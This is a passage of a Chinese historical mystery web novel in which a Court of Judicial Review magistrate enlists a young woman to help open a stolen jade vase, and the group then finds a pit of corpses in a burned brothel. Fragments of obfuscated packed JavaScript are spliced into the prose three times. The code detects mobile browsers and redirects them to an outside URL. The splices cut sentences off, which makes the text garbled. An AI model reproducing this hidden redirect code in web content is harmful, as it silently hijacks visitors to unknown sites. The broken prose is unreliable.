魏郁春见过太多上任后便飘飘然、忘记本心的例子,奢靡无度、暗饱私囊者,连朔州府都遍地走了,这位陶司直分明官位不算小、做的还是个大理寺的京差,可至始至终姿态清明,甚至连自己的生活都过得清贫。 看来他是个很清正廉洁的官员,魏郁春暗忖着,突然觉得他的形象高大了起来,对他的话也开始重视了起来。 那少年在入院时还跟陶司直有一搭没一搭闲扯了两句,从他们的对话得知,少年名为章念,是大理寺的一名九品小司务,与陶明案素日交好,出走地方办案都是形影不离的搭档。 入了那唯一还能看的屋子,魏郁春发现屋内不过几尺桌案、几盏油烛、一沓沓厚到半人高的案呈、文件抄录,除去笔墨纸砚,还有一张简陋的硬木板床跟两三张小杌子,寒酸至极。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447442|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可屋内却打扫得干干净净,甚至还有一股似有似无的焚木之香散逸在半空中,与屋外小院子截然不同。 原本魏郁春还以为这院子荒凉,是因为陶明案公务繁忙,无空回家,进了屋后,她立马就反应过来,他哪里是不回家,甚至是日日夜夜都要回家收拾家务的那种人,但他又极度繁忙,忙到只能收拾屋内栖息的一亩三分地,外头的院子却无空收拾搭理,实属矛盾。 大理寺值班处理应有留他过夜的地方,既是繁忙,为何还要没日没夜寻回这处偏僻的野院住下? 魏郁春百思不得其解,她心思灵巧,凡是遇上留有疑窦的事,她都要定定地思索半晌,但今日她显然已经没了那份精力了。她大脑放空,一边放松又一边忍不住紧张地看着面前两个男人搬弄家具。 叫章念的少年郎轻车熟路地撂了衣摆蹲坐在了一张杌子上,六七尺的男儿瞬间矮到仅能看到个人头。魏郁春也被他们二人请着落了坐,语气态度都算客气。 紧接着陶明案去外头井边将粉黛洗净,很快回来,也跟着大家坐下杌凳,高大的形象也碍不住寒酸气氛的渲染,突然萎了半截下去。 空气一时尴尬,但陶司直好似有些焦急,他开门见山,将尴尬感转化为焦灼感:“初次见面,在下是大理寺司职陶明案,奉命调查京城芳樱楼一案。” 章念没料到一向持重的陶明案会这么直白,他抵了抵他的手肘,压着声担心提醒道:“司直,圣命不可违,就这么把调查芳樱楼的事情泄露给别人,真的没问题么?” 是了,这位陶司直正是芳樱楼一案中最为有名的人物,他以一己之力牵扯朝中暗流,引火烧身,他却不卑不亢,死脑筋得厉害,大理寺公事的同僚们哪一个不知道他得罪了朝中权贵的中心人物——吏部周尚书? 于是一个个都跟他划清界线,如今,他落到这个田地,也就章念这个傻小子还肯跟着他了。 但除了章念跟一些知道内情的朝中人士,无人知道他以死请罪,逼圣人批准他调查樱楼怪案的事。 圣人忌惮了周尚书,却无法公然调查朝中暗党,于是便把锅直接甩给了巴不得上跟着办事的陶明案,但同时,又要求他不可在调查案子的时候高调行事,杜绝触动朝中重臣的利益。 所以,陶明案和章念一直在默默办案,不与旁人讲清此事。 于是,章念看到陶明案一下子就把这个搞不好能掉脑袋的秘密,大大方方说了出去,听的人甚至还是个冒充旁人身份的法外狂徒,身份不明。 章念提醒陶明案后,对方理都不理他一下,甚至视若无物,还在进一步说话。 章念搞不清楚陶明案这个死脑筋又在想什么,但又阻止不了他,于是苦不堪言,蔫儿头巴脑起来,不说话了。 陶明暗将庞小曲的事情解释了一通:“此案因种种原因不可公开审理,我只好默默寻着线索。今日我等发现樱楼变动,而最近接近此地的可疑人物唯有昨晚携妻游街的安南都督,实属蹊跷。今日酒宴中,参宴者便有其妻魏氏,据我调查,魏氏参宴一事皆由安南都督亲手安排,目的有二,其一助魏氏拉拢贵女、跻身名流,其二夺得春桃诗魁一名,拿下胜礼——如意冰玉瓶。” 100. 如意冰玉(2) “如意冰玉瓶?” 魏郁春怔住,她才意识到自己跟陶明案存在着巨大的信息差。 不仅仅是她,还有关阇彦也不明这场宴会还有这等内情。他们皆以为,魏澜清参宴,仅是为了增添名气。 她陷入沉默,而陶明案的话音还未停止:“魏氏乃朔州府名声在外的春生才女,安南都督此举,必是以为魏氏能夺下诗魁之名,获得如意冰玉瓶,其中渊源联系,我等不难猜测。” “如意冰玉瓶内含玄机,我既怀疑安南都督,则必须在此之前获得此瓶,故而潜入酒楼,为靠近花厅,迫不得已,男扮女装。至于姑娘口中的庞小曲,我不认识。不过,我觉得她可能是早被我打晕在地的一名丫鬟。” 章念在一旁补充:“是,酒楼守备森严,每隔一段时间,都要清点人数,所以只能狸猫换太子了。我们发现其中有个丫鬟长得高壮,甚是好扮,便先给她迷晕了,我估摸那丫鬟就是你要找的人。” 魏郁春神情复杂地看着陶明案已经洗净的面容,眉眼开阔、皮肤冷白,挺鼻薄唇,个子中上,形象瘦而不柴,像个白面小生,若是换去一身凛气的衣裳和高风亮节的气势,他哪里像什么办案雷厉风行的大理寺司直,倒像是个每日来往书院的小白脸书呆子。 他生得清清秀秀,若非为人呆板,估计追他的姑娘们也足够排满京城一条长街了。 她想到关阇彦对庞小曲的介绍,当时她还以为这女身男相的丫头怕是什么男扮女装的家伙。结果没想到,庞小曲早被人掉包了,掉包她的人男身女相,长得比庞小曲这个真女人还要清秀雅淡。 真是造化弄人。 魏郁春冰冷地扯了番嘴角,疏离一笑,好似又有些感叹事情越发荒唐了。 见魏郁春默许,但态度冷漠至极,一向活泼讨喜的章念也忍不住闭紧了嘴,心中腹诽,这姑娘生得诸般明媚惹眼,结果性子比陶司直还要古板漠然啊? 陶明案一心办案,对于这些外物,他都等闲视之。 他再度表达了自己的歉意:“我并未对庞姑娘做什么了,时辰一到她自会醒来,平安无恙。” 魏郁春颔首,她道:“你为何要带我走?真的只是想救我?” 章念闻言撇过头去,心虚挠头。 陶明案却浑不在意,老老实实说实情:“我在去往花厅送物时,注意到了你的存在,因为你那时总是有意与我传递眼神,我以为你怀疑我的身份。后来诗会进入高潮,我在花厅外寻了一处可偷听的角落,听到你提及了芳樱楼之事,你说昨晚你家的嬷嬷在樱楼上看到了不该看到的东西。” 魏郁春平声:“那些都是我一时兴起,胡编乱造的。” 陶明案深以为然,也不觉着奇怪:“我知道,所以从那刻起,我便知道你不是真的钱雀了。” 陶明案一语惊人。 魏郁春差点没坐住:“什么?!” “昨日一整天,我与章司务都守在芳樱楼内,调查线索,夜晚,樱楼并无任何异端出现,挑灯的鬼影更是莫须有之物。不过,我也不敢保证你是否真的知道一些我未注意的线索。因为今日樱楼有变,不出意外,有人在昨晚做了手脚。” 魏郁春强装镇静:“你怀疑是我在芳樱楼做了什么?那个地方,我从未去过。” 陶明案对此不置可否,默默听着他们对话的章念也不禁觉着,陶司直不愧是大理寺中最有潜力的官员,年纪轻轻,审人的本事厉害至极。他都怀疑陶司直是不是把这个姑娘当成了犯人在审了,虽然语气平静,但眼神之犀利,气氛之压抑,都在无形中给对方施压了。 便是魏郁春这般气沉丹田的人,都被他的话牵动了太多情绪,可想而知,陶明案是真有几把刷子的。 陶明案说道:“我知道。今日大清早除了樱楼变动一事外,还有一起失踪案件被送到了官府。” 他目不斜视地盯着魏郁春的双眼:“玉荫街一位陈姓妇女坚称,自己的医工夫君一夜未归,杳无音讯。可巧,搜人的官牙在玉荫街一处花园里寻到了此医工的衣带,上面绣着钱雀的名字,疑是女子亲手缝制之物。” 魏郁春对他所说的内容倍感陌生,但她知道这些应该属于关阇彦范畴内的事情,估摸是调换钱雀时,深更半夜,遗漏了一些细节,没想到竟成了旁人拿捏自己的把柄。 “我方听闻此事,只觉得是巧合,毕竟很多人都可以叫这个名字,而钱文士的女儿还在闺阁中,怎么会是她呢?后来我进入春桃酒楼,发现钱雀也在宴席中,所说内容又玄乎不已,甚至还故意牵扯到了芳樱楼。我察觉到你还对魏氏魏澜清有极高的注意力,怀疑之下,又幡然醒悟,不管芳樱楼鬼影一事真假与否,我都能确定,你跟我一样,都因昨晚隆月街安南都督一事,想要接近魏氏探秘。” “至于玉荫街失踪案,想必是你调换身份的手段,当晚你又怎会出现在芳樱楼?另外,陈氏和旁人不知,我却查到了医工与钱小姐一些上不来台面的关系。” 魏郁春百口莫辩,陶明案说话的逻辑性极强,让人根本无法找到漏洞,魏郁春一时语塞,后只好微微咬唇,漠然一笑:“司直好能耐。” “姑娘言重,”陶明案倒了一杯冷茶,用指背轻轻推到了魏郁春面前。 他低眉抬眼看她:“我本欲趁你与魏氏争夺诗魁之名时,窃走如意冰玉瓶,却不想宝箱外置玄机,若想解箱,必须要今日夺得诗魁之贵女,亲自用诗眼破秘。所以我故意与楼中武夫周旋许久,直到诗魁花落你手,才故意弄出动静,让元老板以为我已入花厅。实际上我真正进入花厅的时间,远在这之后,时机成熟后,我揭开你的面纱,令你身份暴露,好转移旁人的注意力,助我安排窃宝逃走的事宜。” 章念听不下去了,他打岔:“行了陶司直,这种事情不必说得如此详尽,当心人家都不跟我们合作了!” 魏郁春一时怒气压心,她语气沉重了很多:“若非你插手,我根本不可能落到如此田地。” “只是顺其自然,金小姐所怀疑的奸细虽然是我,但她却坚信奸细会藏在花厅诗会上,刚好,你身为冒名顶替者,便是在花厅内了。” 章念抹脸:“唉……” 陶司直迟早有一天会被这比铁板还硬的死脑筋坑得尸骨无存的! 魏郁春蹙眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447443|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你害我至此,道歉又有何用?而我又凭什么与你们合作?” 陶明案不假思索:“为了世间之公正。” 章念腹诽:“又来了又来了,这可是陶司直时常挂在嘴边的大名言,听得他耳朵都要起茧子了!” 章念说道:“又不是所有人都跟陶司直你一样,觉得事情不公平就非要当出头鸟,世间冤案多矣,哪里处理得过来?要我看,还是先保护保护好你自己的安危更妥当。” 陶明案闻言,眉间的阴郁气浓郁了起来,他闷哼一声,好似心事沉重,但没说话。 他休憩片刻,对魏郁春道:“你背后的幕后主家是何许人也?他为何要关注安南都督和芳樱楼?” 魏郁春默不作声,只是垂首不看他也不动弹,好似没了灵魂的皮偶。 陶明案眉心的郁闷之气重得好似要冒黑烟,但这些不好的情绪并不是针对给魏郁春的。他为人刚直,现下不得已要用一些上不来台面、卑鄙下作的手段来办事。 他这是恨自己没能力。 “难道你与你的幕后主家,不想知道如意冰玉瓶的秘密么?”陶明案暂时性克服心理障碍,话中暗含威胁,叹道,“此瓶已被我窃出,还差你的帮助,我们便可打开箱匣,一探究竟。” “你若不肯信任我们,无妨,烦请你替我们给你的主家传些话,定夺权在你们手里。” 章念也唉声叹气起来,他张大水汪汪的眼睛,眼巴巴地望着魏郁春:“是啊是啊,漂亮姐姐,求你帮帮我们吧!芳樱楼的惨案牵扯了太多无辜的人,我们迫于权威不敢声张,更是无能帮无辜死去的人申冤!此案调查两个月了,还是没有结果,好不容易我们才找到了这一个能入手的线索,岂能放弃啊!今日我们在春桃酒楼做的事真的是没办法!” “陶司直没说明白,我就来说,他虽然故意令你身份暴露了,但还不辞辛苦救了你啊,而且要不是这样的话,又如何调虎离山?那如意冰玉瓶可偷不走!” 章念自以为很聪明,妄图道德绑架魏郁春。 但魏郁春脑子清醒得很,才不上他的当,她冷笑道:“若不是你们害我,如意冰玉瓶也是我的,秘密我也能自己揭晓。你们只是怕我独吞了这一切罢了。” 陶司直捏了捏眉心,连忙把章念这个蠢小子扯到身后,他倍感愧疚道:“我们走投无路,难免如此。姑娘不信,在下也能理解。今日夜晚,请你务必将冰玉瓶之话给你的主家带到,酉时前,我与章司务会在芳樱楼静候,届时等你们看到一些事情后,便能理解我们了。当然,我们也不会做任何手脚,诚心天地可鉴。” 他做出对天发誓的动作。 魏郁春还在犹豫,但没等她反应过来,陶明案就已经兀自起身,推开了屋门,请她离去,君子礼节处处顾及,压根没有要对她做任何事情的意思。 他挥手叫章念过来,道:“若姑娘不认路,我与章念司务可以亲自送你到安全的地方。” 魏郁春顿住:“你们不怕我将此事外泄?” 陶明案面无波澜,言语冷静:“我已说过,酉时之后,你们随意定夺,我与章司务定不会阻拦。” 101. 如意冰玉(3) 魏郁春自然明白,她要回去便只能回杜府,但她与陶明案这边的事情并未谈妥,她就这么明晃晃地回去自然不合适,于是,她便只叫他们送她到一处人流还算多的地方,留些盘缠给她自行离去。 她对陶明案的为人其实还半信半疑着,因为相识时间太短,她不敢胆言此人绝对是光明磊落的,却也不好昧着良心说人家虚与委蛇。 几番心理纠葛下来,她已经到了该跟陶章二人分离的时刻。 陶明案这只不踢不滚的木头人,破天荒地自己找话搭:“姑娘请放心,我既不曾有意问询姑娘姓名来历,也不曾揣测深挖姑娘幕后主家的消息。便不可能放眼线盯梢姑娘行踪,你大可轻松离去。” 说罢,他又作出一副对天发誓的模样,眼神之坚毅,身姿之挺拔,活似要上战场一样。魏郁春不习惯他这样,耐不住压力,她怔怔颔首。 待她准肯,陶明案才一把拉着章念照着原路离去了,头一下都未回过,唯有章念那个傻小子老是忍不住回首要跟她打招呼。 “漂亮姐姐,你可是我们全村的希望了!今日傍晚一定要来啊!” “一定要帮帮我们啊!” 陶明案好似默默扶额,他抬着手臂,逮住章念的后脑勺,硬生生把他给掰扯了回去。 不知为何,魏郁春竟被他们二人一路小打小闹的模样逗笑了,这是她这么多天以来,心里最放松的时刻了。 她回神过来,想起陶明案所住的陋室,还有章念眼巴巴的可怜模样,总是无法再深入怀疑他们。 罢了,再想又有什么用呢? 她唯一能做的,就是现在快点回杜府传递消息,别人已经让步了,她再猜忌别人,结果也都是一样的。早点回去,说不定还能叫关阇彦尽快处理掉当前的麻烦事。 她喊下一辆车,搭车离去。 春桃酒楼的事情闹开了,钱雀被人冒名顶替,真人失踪,而冒名者则被同伙救走,不知去向。 听说春桃诗会本该赠赏诗魁的宝贝也突然丢了,那物是圣人所赐之物,价值连城。金玉圆联手酒楼元老板,集结多人,在四处都搜寻起奸细贼人的下落了。 金小姐的人更是去了钱府,问询钱小姐去向,钱文士得知女儿被掉包又下落不明,大惊失色,也连忙派人去官府报案,搅和进这一趟浑水里头了。 杜府内部气氛比外界还要焦灼得多。 杜老爷和夫人前来问候儿子情况,杜明堂没得办法,只好把昨晚他跟关阇彦劫人的过程告诉了二老,仅知部分实情的二老吓得差点要蹦上房梁大喊老天爷。 关阇彦不知去外头哪里打探消息了,还没有回来,杜府内没有主心骨,三人不知要如何定夺。此时,钱雀和那位医工还被一起捆着送在厢房里头,听说画师为他们二人所绘的春宫图还未作好。 眼看都一个时辰过去了,杜明堂见关阇彦还没回来,也差点要跟着爹娘蹦上房梁大喊老天爷,他欲哭无泪,抱着自家老爹哭诉:“怎么闹出这样的事情啊?!都闹到官府了!外头乱得很,都督这一出去,凶多吉少的,能不能成事啊!” 杜老爷杜咏唉声叹气,急得眼睛都充血成了斗牛:“钱雀与那医工一直留在府内必是个祸患,都督这做的什么事啊!荒唐荒唐!” 没成想可巧,杜老爷也就这会儿冒出了急胆,敢说一说关阇彦的不是。结果人话音方落,关阇彦就从外头大堂快步走进了杜明堂的屋子。 他冷影如鬼,冷语讥诮:“杜老爷这说得什么话?有得必有失,若想早日帮杜家解困,所犯的风险一个都少不得。” “还有,我难道要做什么事,还都要提前跟杜老爷知会一声么?” 杜咏大惊,忙拱手:“都督哪里的话。” 杜明堂看自家爹被关阇彦欺压得一时半会儿不敢抬头,又气又好笑,但忙打岔过来:“你出去发现了什么没有?春桃酒楼这会儿守得死紧,半点风声都探不到,也不知道到底发生了什么,冯姑娘到底怎么了啊?” 关阇彦在外头好一阵奔波,头上还要死死箍着个笨重的席帽,免不得厌烦,他甫一进门,便将门锁好,还叫杜老爷另派人守着屋子。万事俱备后,他掀开帽子,露出清俊的面容。 他郑重不已:“不关冯迎春的事,我们安插在酒楼里的内应,庞小曲在最开始就被调换了,我们跟冯迎春皆不知情,所以被坑了,假的庞小曲故意搅乱,让冯迎春身份暴露了,借此将祸端引到了她身上,最后还绑走了她。” “冯姑娘下落如何?!” 关阇彦想到这处也头疼:“下落不明,贼人逃走的速度很快,酒楼里的武夫连此人的影子都未捕捉到半分。” 杜咏和杜夫人面面相觑,而杜明堂则拍桌大怒:“岂有此理!我们白忙活一场,结果该沾的腥一点没少,最后的成果却都被截胡走了!那人好厉害的阴谋算计!” “那人到底是何人,他是怎么发现我们在钱雀身上做的手脚的啊?还有最近怎么回事啊,互相玩掉包玩上瘾了吧?!不可能啊,我们做得万无一失,不可能有人发现……” 杜明堂不服气,嘟嘟囔囔着,此时外面有人来报,那人就是早晨杜夫人派过来帮冯迎春梳洗打扮的嬷嬷:“老爷夫人,少爷!冯姑娘回来了!” “什么?!我没听错吧!”杜明堂吓得蹦了一大跳。 关阇彦眼睛也亮了亮,他的口半张着,想说什么却到底没说出来,他舔舔干涩的唇,缓解了紧张,忙要出门:“我去看看。” 整个屋子里的人明显还处于懵圈的状态,关阇彦是第一个反应过来的,他要出门,结果急得连席帽都忘拿了。 杜老爷提醒了他:“都督莫急,身份千万不能暴露。” 关阇彦接过席帽,脸色有些不自然,活似是因为怕被人看穿心思时,心虚又窘迫的样子。 他补道:“我并未着急,只是一时忙得忘了。” 杜明堂一展扇子,兀自遮了遮嘴角,眼神意味不明地在他那张心虚的脸上扫了扫,然后又露出半边同样意味不明的笑容。 眼看着都督出门去了,杜老爷跟夫人也要一起前去,结果被杜明堂拦住:“人家有自己要讨论的要紧事,您二老还是别掺合进去了。” 外面阳光正好,透过宅子门前的几道影壁,廊道下,魏郁春披着一身尘风,匆匆迈入,被影壁雕过花影不偏不倚地倒映在了她那张姣好的面容上,好似罩上了一条朦胧的镂花面纱。 魏郁春匆匆寻进来,也没想到这么快就能碰上关阇彦,她对上他的目光,有些抵触却又有种难以言说的致命依赖感,在试图攥紧她的心神。她心想,应该是自己有重要的事情要亲自告诉他,时间又紧迫,所以她才会对关阇彦产生这样的的感觉。 关阇彦道:“站在此处不方便,快跟我进来。” “好。” 魏郁春跟着他一起找了另一处无人的屋内,坐下交谈。 二人开门见山。 魏郁春尤为果断:“都督可知陶明案此人?” 关阇彦剑眉一挑,这人名字真是耳熟,细细想来,他记得在盘龙山地洞下时,杜明堂就跟他提过这人名号,他试探道:“大理寺陶司直?” 魏郁春放下心来,心想,看来大理寺真有这号人物,再也没有冒充的把戏了,那人的确没有骗过她,那么她才肯真的放心将他的话全部转告给关阇彦。 关阇彦冷笑:“看来陶明案就是那个调换庞小曲身份的人对吧?他把你绑到哪里去了?怎么还肯放你回来?” 魏郁春将如意冰玉瓶的事细细跟关阇彦说清楚。 关阇彦果然对此产生了浓厚的兴趣,他既觉得惊讶又觉得不可理喻,因为看似平平无奇的春桃酒宴居然还藏着他都没查明白的大秘密。 他远没有这位陶司直的消息灵通,看来他能看破钱雀身份,也不算多奇怪的事了。 “所以,魏澜清真正的目的是夺得如意冰玉瓶?跻身名流不过是个表明幌子罢了……”关阇彦忽地顿住了,他压声诡异一笑,“不,魏澜清怕是也被我那好弟弟给骗了,她以为自己来此酒宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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魏郁春震惊,要知道眼前这位某某都督心思歹毒,总之想人都是先想他的坏处的,何时无缘无故对一个素不相识的陌生人这么客气过了? 见她不解,关阇彦解释了:“你未来过中晋,不知芳樱楼一案的前因后果。此案怪异,本派了陶司直严查,却忽然被终止了,可知为何?” 魏郁春向来聪慧,此时却不语了,她怀疑关阇彦是故意欺她不知实情。 “涉案人是朝中权贵之子,大家不敢查。后因为一起官商之争,朝中权贵们遭到牵连,暴露出了诸多不干净的事情,譬如受贿泄题、欺压寒门等等,陶司直本人吃过这等苦,不忍天下寒门子弟含冤蒙羞,有些大庇天下寒士俱欢颜的风骨,所以他坚持严查此案,不惜跑到圣人龙台下,以死相逼。圣人疑心渐起,才准许了他继续查樱楼的悬案。不过情况不好,圣人不准其公然挑拨朝中政党关系,他寡不敌众,寸步难行。” “所以他跟你说的种种情况,皆属实。” 魏郁春难掩惊骇之情,她想过陶司直为人正直,却没想过他能破釜沉舟到如此地步,当她再次想起陶明案说过的那句“为了世间之公正”时,由衷钦佩,其当真是世间少有之勇士。 初见只以为是个白面小生,未想到内里钢筋铁骨,比惯会舞剑弄枪的武夫远要厉害。 关阇彦难得在魏郁春脸上看到一抹好看的颜色,他心中不甘,敲着桌子喊她回神:“下午,你跟我一块去。” 魏郁春蹙眉不解:“你不是承诺过我,酒宴后,你就会放我走么?” 关阇彦不是真的想赖账:“喂,做事有始有终,好人也做到底,那箱匣里的如意冰玉瓶唯有你能取出来,你不去谁去?” 魏郁春屏气闷住了,好似心情大为不快,也不知道是谁欠了她钱似的。 关阇彦想到了什么,忽地又叫住她:“听说你夺了诗魁,打败了魏澜清,怎么做到的?” 魏郁春也是没想到一个人怎么能没眼力到这种地步,一而再再而三地撞上她的枪口子。她眼中好似要冒出怒火,发红得好似要哭出泪一样。她语气暗含嘲讽:“真才实学。怎么,看不得你那未婚妻受委屈了?” 关阇彦歪了歪头,看着她一副炸药桶子的模样,既觉得好笑又觉得莫名其妙。 他摇摇头,还是实话实说,破天荒没在嘴上淬毒了:“没有,单纯是想祝贺你一番罢了,恭喜。” 魏郁春僵了僵,没想到他会是这样的反应,她眼神变得些许心虚,闪烁一番后,只觉得眼睛有些酸涩,她点头:“嗯。” 102. 樱楼臭尸 将至日落时分,关阇彦同杜家人将钱雀这头的烂摊子收拾好了,好说歹说通了关系,把官府那边失踪案还有钱家的骚乱给荡平了,耗费了不知多少财力。 钱雀那头也必惹不出多少麻烦,她与医工私会的春宫图还收录在关阇彦手中,为了维系面子和尊严,她不仅什么都不会泄密,还会帮忙掩护。 不过等钱雀对画图之事信以为真后,关阇彦雀还是遣人将那副不堪入目的画卷烧毁了。 说实话,钱雀私生活再混乱,也跟他没有关系,只是她倒霉被盯上了罢了。作下图卷给她看,不过是为了更好威胁她,除此以外此图已无利用价值,那又为何非要留下来?做人做事倒不必如此决绝。 关阇彦一边嫌恶,一边叹息,因为他实在没有对付女人的习惯。 但魏郁春就不好说了,此女子进来脾性叫人捉摸不透,他想不对付她都难,要不然稍一不小心就被她坑了。 关阇彦要面子嘴硬就罢了,还叫杜明堂上赶着过去,好说歹说劝魏郁春配合计划。魏郁春勉强多给了几分好脸色,更了一身轻便的常服后,就跟关阇彦和杜明堂二人驾车上了路。 化为废墟的芳樱楼在白日下显得更会晃眼,此地经过一场滔天火势的席卷,焦黑色的土地上也只长着黑糊糊的建筑物,浑然一体,远看甚至都瞧不出此地还有什么轮廓,不过是一大片不知深浅的黑色漩涡罢了。 芳樱楼占地很大,整体建筑风格像极了一处神仙栖息的极乐花园,建筑楼前前后后左左右右四处排列,前面那栋外头架着彩楼似招牌的主体大楼内置厢房数间,以供普通客官栖息居住。 而楼后,则四处分布着不同的园林,临水而建、高低错落者比比皆是,不同区域建着的建筑群风格样式不一,往往像个小府宅,取着漂亮的花名。这些林宅有的简朴一些,有的华贵若宫殿,往往根据贵客的等级,再分配出去。 楼前楼后好似截然不同的天地,若不是跨过前头,根本想不到里头会有这么广的地盘。 芳樱楼出事后,早被贴上了闲人止步的封条,外头还用铁栅栏似的东西围了一圈,防止醉了酒的腌臜客误入。 三人到楼前时,发现铁栅栏被人拉开了一道口子,可供人挨个进入。他们都知道,这是陶明案的手笔。 他们踩入衔接欢门内里的几层石砌台基,推开了未被封条波及的侧门,里头焦土之气扑面而来,何等呛鼻,死气腾腾,凡被刮过之地好似都要一起变得生灵涂炭。 里头光景破败,化为黑炭的木桌木椅,坍塌下来的房梁藻井,原本耀若星光的珍珠门联碎落一地,房间外挂着的轻幔被撕成碎片,蔫儿气巴拉地随意挂落在已成焦土的酒楼内部。 一眼望去,高楼华景似黄粱一梦,惹人唏嘘。 原本杜明堂就惴惴不安,亲眼看到这一切的时候,辛苦做好的心理准备好似全无用处。 他这胆子比魏郁春还要小多了,在里头一惊一乍,被关阇彦骂了一句“炮仗爆竹”才老实了。 魏郁春则不以为然,心想,自己曾经也如此胆小瑟缩,经历过几番生死大难后,倒也习惯了。所以她并未嫌恶杜明堂。 杜明堂深吸一口气,拿席帽垂下的帘子把自己的眼睛捂紧,鬼鬼祟祟道:“我说阿彦,听说这楼里头死了至少百来个伎人,不会一步就一具尸体吧?!” 关阇彦眉头一松,他目光侧去,身子也警惕了起来,不知道的还以为当真见着了鬼,把杜明堂吓得差点要骂娘。结果后来才发现,关阇彦的目光处,是陶明案跟章念在一处柜台边候着他们。 章念颇为激动,他一眼抓住了魏郁春,连忙挥手打招呼:“漂亮姐姐,你果然来了!” 当着这么多人的面这么喊她,大家还不熟,魏郁春顿时有些尴尬,微微一笑敷衍过去了。 关阇彦皮笑肉不笑地跟陶明案打了个招呼——当然,陶明案也不会知道他是何样的表情,他的上半身被一顶巨大的墨帘席帽遮得严严实实。 “陶司直,久仰大名。” 陶明案拿眼神警告了章念,叫他闭嘴安分些,然后走近过来,回道:“你便是这位姑娘的幕后主家?” 关阇彦高傲昂头,背手过去答都不答,故作一副高深莫测的模样,只是颔首示意。 陶司直暂时寻不到搭话的机会,便回应了不久前杜明堂的问题:“楼中死尸焦尸早在月余前皆被收拾干净,这位公子不必心焦。” 章念瞪着个大眼,看着杜明堂,又看看关阇彦,愣住半晌又低声惊呼:“二位神秘人都戴着席帽,是还不信任我们吧?” 陶司直默然片刻,刚要开口说话,却听到杜明堂一阵犯恶心的动静。 杜明堂捂住胸口,声线勉强:“你们有没有闻到一股奇怪的味道?像是什么肉糜腐烂的恶臭。” 杜明堂自幼对气味的敏感力就比旁人高很多,芳樱楼内的焦味太厚重,暂时麻痹了他的味觉,这才没有令他在一开始就嗅到这股怪味儿。此时他身临其境,差点被焦味儿腌入味儿,与另一种味道不相融了,他很快就察觉到了它们的存在。 章念跟陶明案互相看了一眼,然后头疼地叹息一气。在杜明堂的提醒后,魏郁春跟关阇彦也对此重视了起来,他们细嗅一息,果然察觉到了浓郁焦味儿里头暗藏的“异类”。 关阇彦很熟悉这股味道,他语气瞬间冰冷了起来:“为何有股尸体腐臭的气味?” 杜明堂膛目结舌:“什么?!尸体?!不是说都处理完毕了吗?” 紧接着,他又用帘子捂紧脸,好似再呼吸这里的一口空气便要命丧黄泉似的。 陶明案也不跟他们寒暄了,他这个人本来就不善言辞,方才又隐隐感觉对方这位幕后主家气势暗藏凶机,貌似跟他不太对付,一时就更寻不到话题来转换了。 杜明堂自己切入了主题,他就顺其自然接了下去:“诸位请随我来。” 陶明案跟章念领在前头,带他们深入芳樱之地,跨离高大花楼,里头园林遍地,不过大半也都成了黑黢黢的荒土,唯有几片池塘小溪还保留着原色,静静地流淌在无色的世界里。 众人弯弯绕绕,终于来到了一处挂着“融玉阁”牌匾的小景园林,穿过了月洞门,踩着立在荷花水塘上的避暑长廊,进入了融玉阁闲居,室内边上建着临溪亭。越是往前走,那股恶臭味便越是浓郁,这下不谈杜明堂,连魏郁春都熬不住了。当然,关阇彦也仅是在强撑罢了。 章念似乎早有准备,他从袖囊中抽出两张边上缝制了布耳朵的帕子,一只给自己戴上了,一只则给了陶明案。二人动作之熟练,活似身经百战的大将。 站在前头的陶明案让出位置来,对三人请道:“诸位请往临溪亭下溪畔的那处方形空地看。” 关阇彦骤紧眉头,只是瞥了一眼,便立马警告了杜明堂和魏郁春:“都是死尸,少则也要有二三十来具,不必多看。” 杜明堂脖子还没伸出去,便立马缩回来,骇道:“我勒个亲娘?!” 魏郁春自认为在南禺经历颇多,面对这种事情应该不会有多大的反应,她看了几眼,才知自己方才的念头真是可笑。 因为那块方形的土坑太小了,坑口大小估摸最多也仅够平躺下三个人。可就是这样的土坑,里头竟塞满了白森森的白骨,人身分离,人头散落各处,大概有二三十来只,它们有时候会从坑外的泥地里弹出来,无数双空荡荡的白骨眼洞森然地朝着亭上望,刹是瘆人。 而白骨群上,还压着几具还未完全腐烂的女尸,年纪看着很小,撑死及笈。天气已经热起来,挂着烂肉的白骨上穿梭着挤在一块的大头蝇,还有一群群啃噬臭肉的蛆虫在蠕动……恶臭味不出意外便是从这些腐尸上传出来的。毕竟,已经腐化的白骨们怎么可能会发出气味? 陶明案补充道:“这些尸骨是在今日才被发现的,因为从前这里没有任何气味出现过。一夜之间,却忽然冒出引人注意的腐尸味,很是可疑。凶手埋下这么多具女尸,说明他手段纯熟,埋尸前定会做些除臭的措施,埋得越深的白骨年份越久,仵作已经断言,最老的白骨至少也有两三年的年份 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他下意识要喊“关昀洲”的名字,但想想场合不对,立马掰扯语言回来,别扭道:“……这安南都督怎么突然就跟芳樱楼扯上关系了?之前的嫌疑人不应该是周尚书的那个庶子么?” 他虽然知道窃取杜家账本的人另有其人,但还是难以想象,看似毫无关联的两样东西——关昀洲、芳樱楼居然还能扯到一块去。 章念惊掉下巴:“你居然知道这些事情?” 杜明堂嘿嘿一笑:“我消息灵通着呢!” 